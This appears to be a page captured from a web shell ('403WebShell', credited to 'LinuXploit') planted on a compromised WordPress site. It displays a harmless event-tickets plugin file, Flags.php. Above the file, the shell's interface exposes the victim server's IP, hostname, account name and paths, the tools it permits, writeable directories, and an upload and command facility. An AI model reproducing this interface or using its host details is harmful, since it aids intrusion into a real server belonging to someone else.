Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.135.215.149
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/misswavenigeria.com/wp-content/plugins/event-tickets/src/Tribe/REST/V1/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/misswavenigeria.com/wp-content/plugins/event-tickets/src/Tribe/REST/V1/Flags.php
<?php

/**
 * Class Tribe__Tickets__REST__V1__Flags
 *
 * @since 4.8
 */
class Tribe__Tickets__REST__V1__Flags {
	/**
	 * Filters posts REST response data for ticket-enabled custom post types to add ticket-related flags.
	 *
	 * @since 4.8
	 *
	 * @param WP_REST_Response $response
	 * @param WP_Post          $post
	 *
	 * @return WP_REST_Response
	 */
	public function flag_ticketed_post( WP_REST_Response $response, WP_Post $post ) {
		$id = $post->ID;

		$tickets = Tribe__Tickets__Tickets::get_all_event_tickets( $id );

		$response->data['ticketed'] = count( $tickets ) > 0
			? $this->extract_providers_from_tickets( $tickets )
			: false;

		return $response;
	}

	/**
	 * Creates a list of ticket providers for a post.
	 *
	 * @since 4.8
	 *
	 * @param array $tickets
	 *
	 * @return array
	 */
	protected function extract_providers_from_tickets( array $tickets ) {
		$slugs = array();
		/** @var Tribe__Tickets__REST__Interfaces__Post_Repository $repository */
		$repository = tribe( 'tickets.rest-v1.repository' );

		/** @var Tribe__Tickets__Ticket_Object $ticket */
		foreach ( $tickets as $ticket ) {
			$slugs[] = $repository->get_provider_slug( $ticket->provider_class );
		}

		return array_unique( array_filter( $slugs ) );
	}

	/**
	 * Filters events REST response data to add ticket-related flags.
	 *
	 * @since 4.8
	 *
	 * @param array   $data
	 * @param WP_Post $event
	 *
	 * @return array
	 */
	public function flag_ticketed_event( array $data, WP_Post $event ) {
		$id = $event->ID;

		$data['ticketed'] = false;

		if ( ! in_array( $event->post_type, Tribe__Tickets__Main::instance()->post_types(), true ) ) {
			return $data;
		}

		$tickets = Tribe__Tickets__Tickets::get_all_event_tickets( $id );

		if ( 0 < count( $tickets ) ) {
			$data['ticketed'] = $this->extract_providers_from_tickets( $tickets );
		}

		return $data;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit